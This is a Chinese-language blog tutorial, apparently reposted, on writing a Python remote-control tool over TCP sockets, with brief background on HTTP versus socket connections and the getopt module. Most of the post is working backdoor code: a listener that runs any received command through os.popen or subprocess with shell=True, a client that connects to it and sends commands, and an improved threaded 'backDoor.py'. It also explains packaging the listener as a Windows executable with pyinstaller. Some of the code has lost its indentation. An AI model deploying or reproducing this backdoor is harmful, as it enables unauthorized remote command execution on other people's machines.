文章目錄
- 前言
- 遠程控制
- 腳本撰寫
- 效果演示
- 腳本優化
- getopt ()
- 完整代碼
- 效果演示
前言
本文將記錄學習基于 Socket 通信機制建立 TCP 反向連接,借助 Python 腳本實作主機遠程控制的目的,
我們在傳輸資料時,可以只使用(傳輸層)TCP/IP 協議,但是那樣的話,如果沒有應用層,便無法識別資料內容,如果想要使傳輸的資料有意義,則必須使用到應用層協議,應用層協議有很多,比如 HTTP、FTP、TELNET 等,也可以自己定義應用層協議,而 Socket 是對 TCP/IP 協議的封裝,Socket 本身并不是協議,而是一個呼叫介面(API),通過 Socket 我們才能使用 TCP/IP 協議,
HTTP 連接與 Socket 連接的區別
- HTTP 是短連接,Socket (基于 TCP 協議的)是長連接,盡管 HTTP1.1 開始支持持久連接,但仍無法保證始終連接,而 Socket 連接一旦建立 TCP 三次握手,除非一方主動斷開,否則連接狀態一直保持,
- HTTP連接,服務端無法主動發訊息,Socket 連接,雙方請求的發送無先后限制,這點就比較重要了,因為它將決定二者分別適合應用在什么場景下,HTTP 采用“請求-回應”機制,在客戶端還沒發送訊息給服務端前,服務端無法推送訊息給客戶端,必須滿足客戶端發送訊息在前,服務端回復在后,Socket 連接雙方類似 peer2peer 的關系,一方隨時可以向另一方喊話,
什么時候該用 HTTP,什么時候該用 Socket?
- 用 HTTP 的情況:雙方不需要時刻保持連接在線,比如客戶端資源的獲取、檔案上傳等,
- 用 Socket 的情況:大部分即時通訊應用(QQ、微信)、聊天室、蘋果APNs等,
Python3 關于 Socket 網路編程的相關語法知識可以參見:Python3 網路編程,
遠程控制
下面開始來看看如何借助 Python 實作對目標主機的遠程控制,
腳本撰寫
ServerAttack.py 受控端腳本如下:
import socket
import os
ip = "" # 空表示可連接所有主機
port = 5555 # 設定埠
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 物件s 使用基于tcp協議的網路套接字
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 關閉后不需要保存狀態可以立即開啟
s.bind((ip, port)) # 物件s 開始系結ip和埠
s.listen(10) # 啟動監聽狀態,設定佇列中等待連接服務器的最大請求數10
conn, addr = s.accept() # 當與別人建立連接 addr,conn 變數分別存對方ip和連接的物件
print("已建立遠程連接:", addr) # 顯示對方地址
while True:
data = conn.recv(1024) # 接收對方字串 #如果對方不發資料會卡住
if data == b"q": # 接收到程式終止信號則中斷連接
break
data = str(data, encoding="utf8") # 將資料轉換為字串型別
print("遠程主機請求的命令:", data)
f = os.popen(data) # 可以將命令的內容以讀取的方式回傳
data2 = f.read()
if data2 == "":
conn.send(b"finish")
else:
conn.send(bytes(data2, encoding="utf8")) # 發送命令運行結果
conn.close() # 斷開連接
s.close() # 關閉套結字
ClientAttack.py 控制端腳本如下:
import socket
ip = "192.168.146.126" # 對方服務器ip地址
port = 5555 # 對方服務器的埠
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 物件s使用基于tcp協議的網路套接字
s.connect((ip, port)) # 創建socket連接
while True:
data = input("請輸入命令:")
data = bytes(data, encoding="utf8")
s.send(data) # 發送資料給對方
data2 = s.recv(1024) # 接識訓傳的資料
print(str(data2, encoding="utf8"))
if data == b"q":
break
s.close()
效果演示
1、Linux 遠控
將 ServerAttack.py 受控端腳本拷貝至 Linux 系統并運行,同時 Win10 物理機運行 ClientAttack.py 控制端腳本,可實作遠程連接控制:
2、Windows 遠控
使用 pyinstaller 打包 ServerAttack.py 生成 ServerAttack.exe 可執行檔案(pyinstaller -F ServerAttack.py),然后在 Win7 虛擬機運行生成的 ServerAttack.exe 檔案,效果如下:

腳本優化
下面使用多執行緒、腳本引數設定、腳本幫助提示、客戶端服務端代碼集成來優化上述實作遠程控制的腳本,
getopt ()
Python 中 getopt 模塊是專門用來處理命令列引數的,函式格式:
getopt(args, shortopts, longopts = [])
引數決議如下:
| 引數 | 釋義 | 補充 |
|---|---|---|
| args | 要決議的引數串列 | 一般是sys.argv[1:],表示獲取的引數不包括當前執行的 python 腳本名稱 |
| shortopts | 要識別的短格式 (-) 選項字串,如果后接:表示需要給定引數 | 如ab:c:,表示識別 -a, -b 和 -c 的短選項,其中 -b 和 -c 需要后接引數 |
| longopts = [] | 要識別的長格式(–)選項,如果后接=表示需要給定引數 | 如[“help”, “user=”, “password=”],表示識別--help, --user=root, --password=123456的長選項 |
函式回傳值由兩個元素組成:
- 第一個是 (option, value) 元組的串列,(option, value) 元組中的 option 表示包含
-或--前綴的選項,value 表示該 option 對應的引數,可以為空字串表示無引數; - 第二個是 args 剝離短選項及其引數和長選項及其引數之后剩余的引數串列,
完整代碼
import socket
import getopt
import sys
import subprocess
from threading import Thread
def main():
target = "" # 目標IP
port = 0 # 目標埠
listen = False
help = False
# 利用getopt模塊從命令列獲取引數,sys.argv[1:]可以過濾掉第一個引數(第一個引數是腳本的名稱,它不應該作為引數進行決議)
opts, args = getopt.getopt(sys.argv[1:], "t:p:hl")
for o, a in opts:
if o == "-t":
target = a
elif o == "-p":
port = int(a)
elif o == "-h":
help = True
elif o == "-l":
listen = True
else:
# 斷言,傳入的引數有誤
assert False, "Unhandled Option"
# 輸出幫助檔案
if help:
usage()
# 獲分客戶端和服務端
if listen:
server_handle(port)
else:
client_handle(target, port)
# 受控端
def server_handle(port):
# 創建socket通道
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 系結
server.bind(('0.0.0.0', port))
# 監聽
server.listen(10)
print("[*] Listening on 0.0.0.0:%d" % port)
while True:
client_socket, addr = server.accept()
print("[*] Accept connection from %s:%d" % (addr[0], addr[1]))
t = Thread(target=run_command, args=(client_socket, server,))
t.start()
# 控制端,發送命令,接收受控端命令列的回顯內容
def client_handle(target, port):
# 創建socket通道
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 連接服務器
client.connect((target, port))
# 接收資料
while True:
recv_len = 1
# 接收到的資料是utf-8
resBuffer = "".encode('utf-8')
while recv_len:
data = client.recv(4096)
recv_len = len(data)
resBuffer += data
if recv_len < 4096:
break
# 在windows下中文會亂碼,所以轉成GBK
print(resBuffer.decode('gbk'), end="")
# 接收命令,發送命令需要將命令轉成byte,并且編碼是utf-8
buffer = input("")
if buffer.encode('utf-8') == b"quit":
break
buffer += "\n"
client.send(buffer.encode('utf-8'))
client.close()
# 執行命令涵數
def run_command(client_socket,s):
while True:
# 發送命令給客戶端
client_socket.send(b"shell_>")
# 定義接收命令byte型別變數
cmd_buffer = "".encode('utf-8')
# 接收客戶端發過來的訊息,直到預到換行,代表客戶端訊息輸入完成
while b"\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
if cmd_buffer == b"quit":
break
# 將完整的byte變數訊息轉成字串
cmd_buffer = cmd_buffer.decode()
try:
# 通過隧道執行命令并以byte資料型別回傳輸出的資料
out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True)
# 將回傳的資料發送給客戶端
client_socket.send(out)
except:
client_socket.send(b"faild to execute the command")
client_socket.close() # 斷開連接
s.close() # 關閉套結字
exit(0)
# 輸出幫助資訊
def usage():
print("help info : python backDoor.py -h")
print("client : python backDoor.py -t [target] -p [port]")
print("server : python backDoor.py -lp [port]")
print("Exit :Input quit to exit ")
sys.exit()
if __name__ == "__main__":
main()
效果演示
獲取腳本幫助提示、進行遠程連接:

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/294940.html
標籤:其他
